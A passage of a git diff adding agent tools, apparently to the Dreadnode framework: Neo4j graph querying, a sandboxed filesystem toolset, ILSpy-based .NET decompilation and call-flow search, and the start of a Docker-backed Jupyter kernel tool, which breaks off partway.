+ ) -> list[dict[str, t.Any]]: + """ + Runs a Cypher query against the connected Neo4j instance. + + Args: + cypher: The Cypher query string to execute. + params: Optional parameters for the query. + """ + if not self._driver: + raise RuntimeError("Neo4jTool must be used within an 'async with' block.") + + async with self._driver.session() as session: + result = await session.run(cypher, params or {}) + return [record.data() async for record in result] + + @rg.tool_method(catch=True) + async def get_nodes( + self, label: str, filters: dict[str, t.Any] | None = None, limit: int | None = 100 + ) -> list[dict[str, t.Any]]: + """ + Fetches nodes by label with optional property filtering. + + Args: + label: The node label to query (e.g., 'Person', 'Product'). + filters: A dictionary of property-value pairs for exact matching. + limit: The maximum number of nodes to return. + + Returns: + A list of nodes, where each node is a dictionary of its properties. + """ + # We use a WHERE clause for the label to allow parameterization, + # which is safer than f-string formatting for the label itself. + cypher = f""" + MATCH (n) + WHERE $label IN labels(n) + {"AND " + " AND ".join(f"n.`{key}` = ${key}" for key in filters) if filters else ""} + RETURN n + {f"LIMIT {limit}" if limit is not None else ""} + """ + + # Combine parameters + params = {"label": label} + if filters: + params.update(filters) + + result = await self.query(cypher, params) + return [record["n"] for record in result] + + @rg.tool_method(catch=True) + async def get_schema(self) -> dict[str, t.Any]: + """ + Retrieves a comprehensive schema of the Neo4j database. + + Returns a dictionary containing node labels, relationship types, + properties for nodes and relationships, and all constraints and indexes. + This is essential for understanding the data model and constructing + effective queries. + + Returns: + A dictionary with keys: 'node_labels', 'relationship_types', + 'node_properties', 'relationship_properties', 'constraints', 'indexes'. + """ + + queries = { + "node_labels": "CALL db.labels() YIELD label", + "relationship_types": "CALL db.relationshipTypes() YIELD relationshipType", + "node_properties": "CALL db.schema.nodeTypeProperties()", + "relationship_properties": "CALL db.schema.relTypeProperties()", + "constraints": "SHOW CONSTRAINTS", + "indexes": "SHOW INDEXES", + } + + # Query and unpack results + results = await asyncio.gather(*(self.query(q) for q in queries.values())) + ( + node_labels_res, + rel_types_res, + node_props_res, + rel_props_res, + constraints_res, + indexes_res, + ) = results + + # Process the results + schema: dict[str, t.Any] = { + "node_labels": sorted([r["label"] for r in node_labels_res]), + "relationship_types": sorted([r["relationshipType"] for r in rel_types_res]), + "node_properties": {}, + "relationship_properties": {}, + "constraints": [dict(r) for r in constraints_res], + "indexes": [dict(r) for r in indexes_res], + } + + # Structure node properties + for record in node_props_res: + label = record.get("nodeType", "").lstrip(":") + if not label: + continue + if label not in schema["node_properties"]: + schema["node_properties"][label] = [] + + schema["node_properties"][label].append( + { + "property": record.get("propertyName"), + "types": record.get("propertyTypes"), + "mandatory": record.get("mandatory"), + } + ) + + # Structure relationship properties + for record in rel_props_res: + rel_type = record.get("relType", "").lstrip(":") + if not rel_type: + continue + if rel_type not in schema["relationship_properties"]: + schema["relationship_properties"][rel_type] = [] + + schema["relationship_properties"][rel_type].append( + { + "property": record.get("propertyName"), + "types": record.get("propertyTypes"), + "mandatory": record.get("mandatory"), + } + ) + + return schema + + @tool_method(catch=True) + async def explore_nodes( + self, label: str | None = None, property_filter: str | None = None, limit: int = 100 + ) -> list[dict[str, t.Any]]: + """ + Interactively explore nodes in the graph database. + + A flexible tool for discovering and examining nodes when you're not sure + exactly what you're looking for. Supports filtering by type and properties. + + Args: + label: Node type to filter by (e.g., 'DNS_NAME', 'FINDING', 'URL'). + Use get_schema() to see all available labels. + property_filter: Simple property filter + - 'property=value' for exact match + - 'property CONTAINS value' for substring match + limit: Maximum nodes to return (default: 100, max: 1000). + + Returns: + List of node records with all their properties. + """ + if limit < 1 or limit > 1000: # noqa: PLR2004 + raise ValueError("Limit must be between 1 and 1000.") + + query_parts = [f"MATCH (node:{label})" if label else "MATCH (node)"] + params: dict[str, t.Any] = {} + + if property_filter: + if "=" in property_filter: + prop, value = property_filter.split("=", 1) + query_parts.append(f"WHERE node.{prop} = $value") + params["value"] = value.strip() + elif "CONTAINS" in property_filter: + parts = property_filter.split("CONTAINS", 1) + if len(parts) == 2: # noqa: PLR2004 + prop, value = parts + query_parts.append(f"WHERE node.{prop.strip()} CONTAINS $value") + params["value"] = value.strip() + + query_parts.append("RETURN node LIMIT $limit") + query = " ".join(query_parts) + + return await self.query(query, {"limit": limit, **params}) + + @rg.tool_method(catch=True) + async def explore_relationships( + self, + source_label: str | None = None, + relationship_type: str | None = None, + target_label: str | None = None, + limit: int = 100, + ) -> list[dict[str, t.Any]]: + """ + Discover how different nodes are connected in the graph database. + + Args: + source_label: Type of source node (e.g., 'DNS_NAME', 'IP_ADDRESS'). + relationship_type: Relationship type (e.g., 'RESOLVES_TO', 'HAS_PORT'). + Use get_schema() to see all types. + target_label: Type of target node. + limit: Maximum relationships to return (default: 100). + + Returns: + List of relationships with source node, relationship properties, + and target node. + """ + if limit < 1 or limit > 1000: # noqa: PLR2004 + raise ValueError("Limit must be between 1 and 1000.") + + # Build the match pattern + source = f"(source:{source_label})" if source_label else "(source)" + rel = f"-[relationship:{relationship_type}]->" if relationship_type else "-[relationship]->" + target = f"(target:{target_label})" if target_label else "(target)" + query = f"MATCH {source}{rel}{target} RETURN source, relationship, target LIMIT $limit" + + return await self.query(query, {"limit": limit}) diff --git a/dreadnode/agent/tools/filesystem/__init__.py b/dreadnode/agent/tools/filesystem/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/filesystem/tool.py b/dreadnode/agent/tools/filesystem/tool.py new file mode 100644 index 00000000..806e102a --- /dev/null +++ b/dreadnode/agent/tools/filesystem/tool.py @@ -0,0 +1,440 @@ +import contextlib +import re +import typing as t +from dataclasses import dataclass, is_dataclass +from datetime import datetime, timezone +from pathlib import Path + +import rigging as rg +from loguru import logger +from upath import UPath + +from dreadnode.agent.tools import Toolset, tool_method + +FilesystemMode = t.Literal["read-only", "read-write"] + +MAX_GREP_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + + +def _is_dataclass_instance(obj: t.Any) -> bool: + return is_dataclass(obj) and not isinstance(obj, type) + + +def _shorten(text: str, length: int = 100) -> str: + return text if len(text) <= length else text[:length] + "..." + + +@dataclass +class FilesystemItem: + """Item in the filesystem""" + + type: t.Literal["file", "dir"] + name: str + size: int | None = None + modified: str | None = None # Last modified time + + @classmethod + def from_path(cls, path: UPath, relative_base: UPath) -> "FilesystemItem": + """Create an Item from a UPath""" + + base_path = str(relative_base.resolve()) + full_path = str(path.resolve()) + relative = full_path[len(base_path) :] + + if path.is_dir(): + return cls(type="dir", name=relative, size=None, modified=None) + + if path.is_file(): + return cls( + type="file", + name=relative, + size=path.stat().st_size, + modified=datetime.fromtimestamp(path.stat().st_mtime, tz=timezone.utc).strftime( + "%Y-%m-%d %H:%M:%S", + ), + ) + + raise ValueError(f"'{relative}' is not a valid file or directory.") + + +@dataclass +class GrepMatch: + """Individual search match""" + + path: str + line_number: int + line: str + context: list[str] + + +@dataclass +class FilesystemTool(Toolset): + path: UPath + mode: FilesystemMode = "read-only" + + def __init__( + self, + path: str | Path | UPath, + *, + mode: FilesystemMode = "read-only", + fs_options: dict[str, t.Any] | None = None, + ) -> None: + self.path = path if isinstance(path, UPath) else UPath(str(path), **(fs_options or {})) + self.path = self.path.resolve() + self.mode = mode + + self._fs = self.path.fs + + def _resolve(self, path: str) -> UPath: + full_path = (self.path / path.lstrip("/")).resolve() + + # Check if the resolved path starts with the base path + if not str(full_path).startswith(str(self.path)): + raise ValueError(f"'{path}' is not accessible.") + + full_path._fs_cached = self._fs + + return full_path + + def _safe_create_file(self, path: str) -> UPath: + file_path = self._resolve(path) + + parent_path = file_path.parent + if not parent_path.exists(): + parent_path.mkdir(parents=True, exist_ok=True) + + if not file_path.exists(): + file_path.touch() + + return file_path + + def _relative(self, path: UPath) -> str: + """ + Get the path relative to the base path. + """ + # Would prefer relative_to here, but it's + # very flaky with UPath + base_path = str(self.path.resolve()) + full_path = str(path.resolve()) + return full_path[len(base_path) :] + + @tool_method() + def read_file( + self, + path: t.Annotated[str, "Path to the file to read"], + ) -> rg.ContentImageUrl | str | t.Any: + """ + Read a file and return its contents. + """ + logger.info(f"read_file({path})") + _path = self._resolve(path) + content = _path.read_bytes() + + try: + return content.decode("utf-8") + except UnicodeDecodeError: + return rg.ContentImageUrl.from_file(path) + + @tool_method() + def read_lines( + self, + path: t.Annotated[str, "Path to the file to read"], + start_line: t.Annotated[int, "Start line number (0-indexed)"] = 0, + end_line: t.Annotated[int, "End line number"] = -1, + ) -> str: + """ + Read a partial file and return the contents with optional line numbers. + Negative line numbers count from the end. + """ + logger.info(f"read_lines({path}, {start_line}, {end_line})") + _path = self._resolve(path) + + if not _path.exists(): + raise ValueError(f"'{path}' not found.") + + if not _path.is_file(): + raise ValueError(f"'{path}' is not a file.") + + with _path.open("r") as f: + lines = f.readlines() + + if start_line < 0: + start_line = len(lines) + start_line + + if end_line < 0: + end_line = len(lines) + end_line + 1 + + start_line = max(0, min(start_line, len(lines))) + end_line = max(start_line, min(end_line, len(lines))) + + return "\n".join(lines[start_line:end_line]) + + @tool_method() + def ls( + self, + path: t.Annotated[str, "Directory path to list"] = "", + ) -> list[FilesystemItem]: + """ + List the contents of a directory. + """ + logger.info(f"ls({path})") + _path = self._resolve(path) + + if not _path.exists(): + raise ValueError(f"'{path}' not found.") + + if not _path.is_dir(): + raise ValueError(f"'{path}' is not a directory.") + + items = list(_path.iterdir()) + return [FilesystemItem.from_path(item, self.path) for item in items] + + @tool_method() + def glob( + self, + pattern: t.Annotated[str, "Glob pattern for file matching"], + ) -> list[FilesystemItem]: + """ + Returns a list of paths matching a valid glob pattern. The pattern can + include ** for recursive matching, such as '/path/**/dir/*.py'. + """ + matches = list(self.path.glob(pattern)) + + # Check to make sure all matches are within the base path + for match in matches: + if not str(match).startswith(str(self.path)): + raise ValueError(f"'{pattern}' is not valid.") + + return [FilesystemItem.from_path(match, self.path) for match in matches] + + @tool_method() + def grep( + self, + pattern: t.Annotated[str, "Regular expression pattern to search for"], + path: t.Annotated[str, "File or directory path to search in"], + *, + max_results: t.Annotated[int, "Maximum number of results to return"] = 100, + recursive: t.Annotated[bool, "Search recursively in directories"] = False, + ) -> list[GrepMatch]: + """ + Search for pattern in files and return matches with line numbers and context. + + For directories, all text files will be searched. + """ + logger.info(f"grep({pattern}, {path}, {max_results}, {recursive})") + regex = re.compile(pattern, re.IGNORECASE) + + target_path = self._resolve(path) + if not target_path.exists(): + raise ValueError(f"'{path}' not found.") + + # Determine files to search + files_to_search: list[UPath] = [] + if target_path.is_file(): + files_to_search.append(target_path) + elif target_path.is_dir(): + files_to_search.extend( + list(target_path.rglob("*") if recursive else target_path.glob("*")), + ) + + matches: list[GrepMatch] = [] + for file_path in [f for f in files_to_search if f.is_file()]: + if len(matches) >= max_results: + break + + if file_path.stat().st_size > MAX_GREP_FILE_SIZE: + continue + + with contextlib.suppress(Exception): + logger.debug(f" |- {file_path}") + + with file_path.open("r") as f: + lines = f.readlines() + + for i, line in enumerate(lines): + if len(matches) >= max_results: + break + + if regex.search(line): + line_num = i + 1 + context_start = max(0, i - 1) + context_end = min(len(lines), i + 2) + context = [] + + for j in range(context_start, context_end): + prefix = ">" if j == i else " " + line_text = lines[j].rstrip("\r\n") + context.append(f"{prefix} {j + 1}: {_shorten(line_text)}") + + rel_path = self._relative(file_path) + matches.append( + GrepMatch( + path=rel_path, + line_number=line_num, + line=_shorten(line.rstrip("\r\n")), + context=context, + ), + ) + + return matches + + @tool_method() + def write_file( + self, + path: t.Annotated[str, "Path to write the file to"], + contents: t.Annotated[str, "Content to write to the file"], + ) -> FilesystemItem: + """ + Create or overwrite a file with the given contents. + """ + logger.info(f"write_file({path})") + if self.mode != "read-write": + raise RuntimeError("File writing not allowed in read-only mode") + + _path = self._safe_create_file(path) + with _path.open("w") as f: + f.write(contents) + + return FilesystemItem.from_path(_path, self.path) + + @tool_method() + def write_lines( + self, + path: t.Annotated[str, "Path to write to"], + contents: t.Annotated[str, "Content to write"], + insert_line: t.Annotated[int, "Line number to insert at (negative counts from end)"] = -1, + mode: t.Annotated[str, "Mode: 'insert' or 'overwrite'"] = "insert", + ) -> FilesystemItem: + """ + Write content to a specific line in the file. + Mode can be 'insert' to add lines or 'overwrite' to replace lines. + """ + logger.info(f"write_lines({path}, {insert_line}, {mode})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + if mode not in ["insert", "overwrite"]: + raise ValueError("Invalid mode. Use 'insert' or 'overwrite'") + + _path = self._safe_create_file(path) + + lines: list[str] = [] + with _path.open("r") as f: + lines = f.readlines() + + # Normalize line endings in content + content_lines = [ + line + "\n" if not line.endswith("\n") else line + for line in contents.splitlines(keepends=False) + ] + + # Calculate insert position and ensure it's within bounds + if insert_line < 0: + insert_line = len(lines) + insert_line + 1 + + insert_line = max(0, min(insert_line, len(lines))) + + # Apply the update + if mode == "insert": + lines[insert_line:insert_line] = content_lines + elif mode == "overwrite": + lines[insert_line : insert_line + len(content_lines)] = content_lines + + with _path.open("w") as f: + f.writelines(lines) + + return FilesystemItem.from_path(_path, self.path) + + @tool_method() + def mkdir( + self, + path: t.Annotated[str, "Directory path to create"], + ) -> FilesystemItem: + """ + Create a directory and any necessary parent directories. + """ + logger.info(f"mkdir({path})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + dir_path = self._resolve(path) + dir_path.mkdir(parents=True, exist_ok=True) + + return FilesystemItem.from_path(dir_path, self.path) + + @tool_method() + def mv( + self, + src: t.Annotated[str, "Source path"], + dest: t.Annotated[str, "Destination path"], + ) -> FilesystemItem: + """ + Move a file or directory to a new location. + """ + logger.info(f"mv({src}, {dest})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + src_path = self._resolve(src) + dest_path = self._resolve(dest) + + if not src_path.exists(): + raise ValueError(f"'{src}' not found") + + dest_path.parent.mkdir(parents=True, exist_ok=True) + + src_path.rename(dest_path) + + return FilesystemItem.from_path(dest_path, self.path) + + @tool_method() + def cp( + self, + src: t.Annotated[str, "Source file"], + dest: t.Annotated[str, "Destination path"], + ) -> FilesystemItem: + """ + Copy a file to a new location. + """ + logger.info(f"cp({src}, {dest})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + src_path = self._resolve(src) + dest_path = self._resolve(dest) + + if not src_path.exists(): + raise ValueError(f"'{src}' not found") + + if not src_path.is_file(): + raise ValueError(f"'{src}' is not a file") + + dest_path.parent.mkdir(parents=True, exist_ok=True) + + with src_path.open("rb") as src_file, dest_path.open("wb") as dest_file: + dest_file.write(src_file.read()) + + return FilesystemItem.from_path(dest_path, self.path) + + @tool_method() + def delete( + self, + path: t.Annotated[str, "File or directory"], + ) -> bool: + """ + Delete a file or directory based on the is_dir flag. + """ + logger.info(f"delete({path})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + _path = self._resolve(path) + if not _path.exists(): + raise ValueError(f"'{path}' not found") + + if _path.is_dir(): + _path.rmdir() + else: + _path.unlink() + + return True diff --git a/dreadnode/agent/tools/ilspy/__init__.py b/dreadnode/agent/tools/ilspy/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/ilspy/bin/ICSharpCode.Decompiler.dll b/dreadnode/agent/tools/ilspy/bin/ICSharpCode.Decompiler.dll new file mode 100644 index 00000000..1ef63a91 Binary files /dev/null and b/dreadnode/agent/tools/ilspy/bin/ICSharpCode.Decompiler.dll differ diff --git a/dreadnode/agent/tools/ilspy/bin/ICSharpCode.ILSpyX.dll b/dreadnode/agent/tools/ilspy/bin/ICSharpCode.ILSpyX.dll new file mode 100644 index 00000000..2c7c50eb Binary files /dev/null and b/dreadnode/agent/tools/ilspy/bin/ICSharpCode.ILSpyX.dll differ diff --git a/dreadnode/agent/tools/ilspy/bin/Mono.Cecil.dll b/dreadnode/agent/tools/ilspy/bin/Mono.Cecil.dll new file mode 100644 index 00000000..553498bb Binary files /dev/null and b/dreadnode/agent/tools/ilspy/bin/Mono.Cecil.dll differ diff --git a/dreadnode/agent/tools/ilspy/tool.py b/dreadnode/agent/tools/ilspy/tool.py new file mode 100644 index 00000000..dd0924c7 --- /dev/null +++ b/dreadnode/agent/tools/ilspy/tool.py @@ -0,0 +1,394 @@ +# +# Fair warning, this file is a mess on the part of .NET interop. Order matters here for imports. +# + +import sys +import typing as t +from pathlib import Path + +from loguru import logger +from pythonnet import load # type: ignore [import-untyped] + +from dreadnode.agent.tools import Toolset, tool_method + +load("coreclr") + +import clr # type: ignore [import-untyped] # noqa: E402 + +lib_dir = Path(__file__).parent / "bin" +sys.path.append(str(lib_dir)) + +clr.AddReference("ICSharpCode.Decompiler") +clr.AddReference("Mono.Cecil") + + +from ICSharpCode.Decompiler import ( # type: ignore [import-not-found] # noqa: E402 + DecompilerSettings, +) +from ICSharpCode.Decompiler.CSharp import ( # type: ignore [import-not-found] # noqa: E402 + CSharpDecompiler, +) +from ICSharpCode.Decompiler.Metadata import ( # type: ignore [import-not-found] # noqa: E402 + MetadataTokenHelpers, +) +from ICSharpCode.Decompiler.TypeSystem import ( # type: ignore [import-not-found] # noqa: E402 + FullTypeName, +) +from Mono.Cecil import AssemblyDefinition # type: ignore [import-not-found] # noqa: E402 + +# Helpers + + +def _shorten_dotnet_name(name: str) -> str: + return name.split(" ")[-1].split("(")[0] + + +def _get_decompiler(path: Path | str) -> CSharpDecompiler: + settings = DecompilerSettings() + settings.ThrowOnAssemblyResolveErrors = False + return CSharpDecompiler(str(path), settings) + + +def _decompile_token(path: Path | str, token: int) -> str: + entity_handle = MetadataTokenHelpers.TryAsEntityHandle(token.ToUInt32()) # type: ignore [attr-defined] + return _get_decompiler(path).DecompileAsString(entity_handle) # type: ignore [no-any-return] + + +def _find_references(assembly: AssemblyDefinition, search: str) -> list[str]: + flexible_search_strings = [ + search.lower(), + search.lower().replace(".", "::"), + search.lower().replace("::", "."), + ] + + using_methods: set[str] = set() + for module in assembly.Modules: + methods = [method for module_type in module.Types for method in module_type.Methods] + + for method in methods: + if not method.HasBody: + continue + + for instruction in method.Body.Instructions: + intruction_str = str(instruction.Operand).lower() + + for _search in flexible_search_strings: + if _search in intruction_str: + using_methods.add(method.FullName) + + return list(using_methods) + + +def _extract_unique_call_paths( + tree: dict[str, t.Any], + current_path: list[str] | None = None, +) -> list[list[str]]: + if current_path is None: + current_path = [] + + if not tree: # Leaf node + return [current_path] if current_path else [] + + paths = [] + for method, subtree in tree.items(): + new_path = [method, *current_path] + paths.extend(_extract_unique_call_paths(subtree, new_path)) + + return paths + + +# Tools + +DEFAULT_EXCLUDE = [ + "mscorlib.dll", +] + + +class ILSpyTool(Toolset): + base_path: Path | str + binaries: list[str] + + @classmethod + def from_path( + cls, + path: str, + pattern: str = "**/*", + exclude: list[str] = DEFAULT_EXCLUDE, + ) -> "ILSpyTool": + base_path = Path(path) + if not base_path.exists(): + raise ValueError(f"Base path does not exist: {base_path}") + + binaries: list[str] = [] + for file_path in base_path.rglob(pattern): + rel_path = file_path.relative_to(base_path) + if not any(ex in str(rel_path) for ex in exclude): + binaries.append(str(rel_path)) + + if not binaries: + raise ValueError( + f"No binaries found in {base_path} ({pattern})", + ) + + return cls(base_path=base_path, binaries=binaries) + + def _resolve_path(self, path: str) -> str: + rel_path = Path(path) + full_path = self.base_path / path + + # If we are already in the base path, make it relative + # before we check anything (can occur with repeated calls) + if rel_path.is_relative_to(self.base_path): + rel_path = rel_path.relative_to(self.base_path) + + if str(rel_path) not in self.binaries or not full_path.exists(): + raise ValueError(f"{path} is not available.") + + return str(full_path) + + @tool_method() + def list_binaries(self) -> list[str]: + """ + List all available binaries in the toolset. + """ + logger.info("list_binaries()") + return self.binaries + + @tool_method() + def decompile_module(self, path: t.Annotated[str, "The binary file path"]) -> str: + """ + Decompile the entire module and return the decompiled code as a string. + """ + logger.info(f"decompile_module({path})") + path = self._resolve_path(path) + return _get_decompiler(path).DecompileWholeModuleAsString() # type: ignore [no-any-return] + + @tool_method() + def decompile_type( + self, + path: t.Annotated[str, "The binary file path"], + type_name: t.Annotated[str, "The specific type to decompile"], + ) -> str: + logger.info(f"decompile_type({path}, {type_name})") + path = self._resolve_path(path) + # construct the FullTypeName from your string + return _get_decompiler(path).DecompileTypeAsString(FullTypeName(type_name)) # type: ignore[no-any-return] + + @tool_method() + def decompile_methods( + self, + path: t.Annotated[str, "The binary file path"], + method_names: t.Annotated[list[str], "List of methods to decompile"], + ) -> dict[str, str]: + """ + Decompile specific methods and return a dictionary with method names as keys and decompiled code as values. + """ + logger.info(f"decompile_methods({path}, {method_names})") + flexible_method_names = [_shorten_dotnet_name(name).lower() for name in method_names] + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + methods: dict[str, str] = {} + for module in assembly.Modules: + for module_type in module.Types: + for method in module_type.Methods: + method_name = _shorten_dotnet_name(method.FullName).lower() + if method_name in flexible_method_names: + methods[method.FullName] = _decompile_token(path, method.MetadataToken) + return methods + + @tool_method() + def list_namespaces(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: + """ + List all namespaces in the assembly. + """ + logger.info(f"list_namespaces({path})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + + namespaces = set() + for module in assembly.Modules: + for module_type in module.Types: + if "." in module_type.FullName: + # Get namespace part (everything before the last dot) + namespace = ".".join(module_type.FullName.split(".")[:-1]) + namespaces.add(namespace) + else: + # Handle types without namespace (add as root) + namespaces.add("") + + return sorted(namespaces) + + @tool_method() + def list_types_in_namespace( + self, + path: t.Annotated[str, "The binary file path"], + namespace: t.Annotated[str, "The namespace to list types from"], + ) -> list[str]: + """ + List all types in the specified namespace. + """ + logger.info(f"list_types_in_namespace({path}, {namespace})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + + types = [] + for module in assembly.Modules: + for module_type in module.Types: + if namespace == "": + # Handle types without namespace + if "." not in module_type.FullName or ( + module_type.FullName.count(".") == 1 + and module_type.FullName.endswith("Module") + ): + types.append(module_type.FullName) + elif module_type.FullName.startswith(f"{namespace}."): + # Check if the type belongs directly to this namespace (not a sub-namespace) + remainder = module_type.FullName[len(namespace) + 1 :] + if "." not in remainder: + types.append(module_type.FullName) + + return types + + @tool_method() + def list_methods_in_type( + self, + path: t.Annotated[str, "The binary file path"], + type_name: t.Annotated[str, "The full type name"], + ) -> list[str]: + """ + List all methods in the specified type. + """ + logger.info(f"list_methods_in_type({path}, {type_name})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + + methods = [] + for module in assembly.Modules: + for module_type in module.Types: + if module_type.FullName == type_name: + methods.extend([method.Name for method in module_type.Methods]) + break + + return methods + + @tool_method() + def list_types(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: + """ + List all types in the assembly and return their full names. + """ + logger.info(f"list_types({path})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + return [module_type.FullName for module in assembly.Modules for module_type in module.Types] + + @tool_method() + def list_methods(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: + """ + List all methods in the assembly and return their full names. + """ + logger.info(f"list_methods({path})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + methods: list[str] = [] + for module in assembly.Modules: + for module_type in module.Types: + methods.extend([method.FullName for method in module_type.Methods]) + return methods + + @tool_method() + def search_for_references( + self, + path: t.Annotated[str, "The binary file path"], + search: t.Annotated[str, "A flexible search string used to check called function names"], + ) -> list[str]: + """ + Locate all methods inside the assembly that reference the search string. + + This can be used to locate uses of a specific function or method anywhere in the assembly. + """ + logger.info(f"search_for_references({path}, {search})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + return _find_references(assembly, search) + + @tool_method() + def search_by_name( + self, + path: t.Annotated[str, "The binary file path"], + search: t.Annotated[str, "Search string to match against types and methods"], + ) -> dict[str, list[str]]: + """ + Search for types and methods in the assembly that match the search string. + This can be used to locate types and methods by name. + """ + logger.info(f"search_by_name({path}, {search})") + + results: dict[str, list[str]] = { + "types": [], + "methods": [], + } + + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + + search_lower = search.lower() + + # Type search + for module in assembly.Modules: + for module_type in module.Types: + if search_lower in module_type.FullName.lower(): + results["types"].append(module_type.FullName) + + # Method search + for module in assembly.Modules: + for module_type in module.Types: + for method in module_type.Methods: + if search_lower in method.FullName.lower(): + results["methods"].append(method.FullName) + + return results + + @tool_method() + def get_call_flows_to_method( + self, + paths: t.Annotated[ + list[str], + "Paths of all .NET assemblies to consider as part of the search", + ], + method_name: t.Annotated[str, "Target method name"], + *, + max_depth: int = 10, + ) -> list[list[str]]: + """ + Find all unique call flows to the target method inside provided assemblies and + return a nested list of method names representing the call paths. + """ + logger.info(f"get_call_flows_to_method({paths}, {method_name})") + assemblies = [AssemblyDefinition.ReadAssembly(self._resolve_path(path)) for path in paths] + short_target_name = _shorten_dotnet_name(method_name) + + def build_tree( + method_name: str, + current_depth: int = 0, + visited: set[str] | None = None, + ) -> dict[str, t.Any]: + visited = visited or set() + if method_name in visited or current_depth > max_depth: + return {} + + visited.add(method_name) + tree = {} + + for assembly in assemblies: + for caller in _find_references(assembly, method_name): + if caller not in visited: + tree[caller] = build_tree( + _shorten_dotnet_name(caller), + current_depth + 1, + visited.copy(), + ) + + return tree + + call_tree = build_tree(short_target_name) + return _extract_unique_call_paths(call_tree) diff --git a/dreadnode/agent/tools/ilspy/tool.yaml b/dreadnode/agent/tools/ilspy/tool.yaml new file mode 100644 index 00000000..81e39fe6 --- /dev/null +++ b/dreadnode/agent/tools/ilspy/tool.yaml @@ -0,0 +1,35 @@ +name: dotnet-reversing +description: "Dreadnode plugin: .NET reversing tools" +factory: dreaddotnet.plugin:register +version: 0.1.0 +tags: [dotnet, reversing] + +provides: + - decompile_module + - decompile_type + - decompile_methods + - list_namespaces + - list_types_in_namespace + - list_methods_in_type + - list_types + - list_methods + - search_for_references + - search_by_name + - get_call_flows_to_method + +defaults: + pattern: "**/*" + exclude: ["mscorlib.dll"] + +args_schema: + path: + { type: path, required: true, description: "Base directory of assemblies" } + pattern: { type: str, required: false } + exclude: { type: list, items: str, required: false } + +runtime: + python: { min: "3.10", max: "3.12" } + requirements: + - pythonnet + resources: + - "lib/*.dll" diff --git a/dreadnode/agent/tools/jupyter/__init__.py b/dreadnode/agent/tools/jupyter/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/jupyter/tool.py b/dreadnode/agent/tools/jupyter/tool.py new file mode 100644 index 00000000..ca9e6254 --- /dev/null +++ b/dreadnode/agent/tools/jupyter/tool.py @@ -0,0 +1,688 @@ +import asyncio +import re +import types +import typing as t +import uuid +from dataclasses import field +from pathlib import Path + +import aiodocker +import aiodocker.containers +import aiodocker.types +import aiohttp +import tenacity +from loguru import logger +from pydantic import BaseModel + +from dreadnode import log_output +from dreadnode.agent.tools import Toolset, tool_method + +# Helpers + +ANSI_ESCAPE_PATTERN = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])") + + +def strip_ansi_codes(text: str) -> str: + return ANSI_ESCAPE_PATTERN.sub("", text) + + +def parse_memory_limit(limit: str) -> int: + """Convert memory limit string to bytes integer.""" + if limit.lower().endswith("g"): + return int(float(limit[:-1]) * 1024 * 1024 * 1024) + if limit.lower().endswith("m"): + return int(float(limit[:-1]) * 1024 * 1024) + if limit.lower().endswith("k"): + return int(float(limit[:-1]) * 1024) + # Assume bytes if no unit specified + return int(float(limit)) + + +# Models + +AnyDict = dict[str, t.Any] +KernelState = t.Literal["starting", "idle", "busy"] + + +class NotebookCell(BaseModel): + """A cell in a Jupyter notebook.""" + + cell_type: t.Literal["code", "markdown", "raw"] + source: str | list[str] + metadata: AnyDict = {} + outputs: list[AnyDict] = [] + execution_count: int | None = None + + @classmethod + def from_source(cls, source: str | list[str]) -> "NotebookCell": + """Create a code cell from a source string.""" + return cls(cell_type="code", source=source, metadata={}, outputs=[], execution_count=None) + + +class Notebook(BaseModel): + """A Jupyter notebook.""" + + cells: list[NotebookCell] = field(default_factory=list) + metadata: AnyDict = field(default_factory=dict) + nbformat: int = 4 + nbformat_minor: int = 5 + + @classmethod + def from_source(cls, source: str | list[str]) -> "Notebook": + """Create a notebook from a source string.""" + return cls(cells=[NotebookCell.from_source(source)]) + + @classmethod + def load(cls, path: Path | str) -> "Notebook": + """Load a notebook from a file.""" + return cls.model_validate_json(Path(path).read_text()) + + def save(self, path: Path | str) -> None: + """Save a notebook to a file.""" + Path(path).write_text(self.model_dump_json()) + + def __add__(self, other: "Notebook | NotebookCell | str") -> "Notebook": + """Add a cell to the notebook.""" + if isinstance(other, NotebookCell): + return Notebook(cells=[*self.cells, other]) + if isinstance(other, Notebook): + return Notebook(cells=self.cells + other.cells) + if isinstance(other, str): + return self + NotebookCell.from_source(other) + raise TypeError(f"Cannot add {type(other)} to Notebook") + + def to_markdown(self) -> str: + """Convert the notebook to a markdown string.""" + markdown_chunks: list[str] = [] + + for cell in self.cells: + source = "".join(cell.source) if isinstance(cell.source, list) else cell.source + if not source.strip(): + continue + + if cell.cell_type == "markdown": + markdown_chunks.append(source.strip()) + markdown_chunks.append("\n\n") + + elif cell.cell_type == "code": + markdown_chunks.append("```python\n") + markdown_chunks.append(source.strip()) + markdown_chunks.append("\n```") + markdown_chunks.append("\n\n") + + return "".join(markdown_chunks).strip() + + +class KernelExecution(BaseModel): + """Result of executing code in a kernel.""" + + source: str + outputs: list[AnyDict] = [] + error: str | None = None + execution_count: int | None = None + + @property + def success(self) -> bool: + """Check if the execution was successful.""" + return not self.error + + def to_cell(self) -> NotebookCell: + """Convert the execution result to a notebook cell.""" + return NotebookCell( + cell_type="code", + source=self.source.splitlines(), + metadata={}, + outputs=self.outputs, + 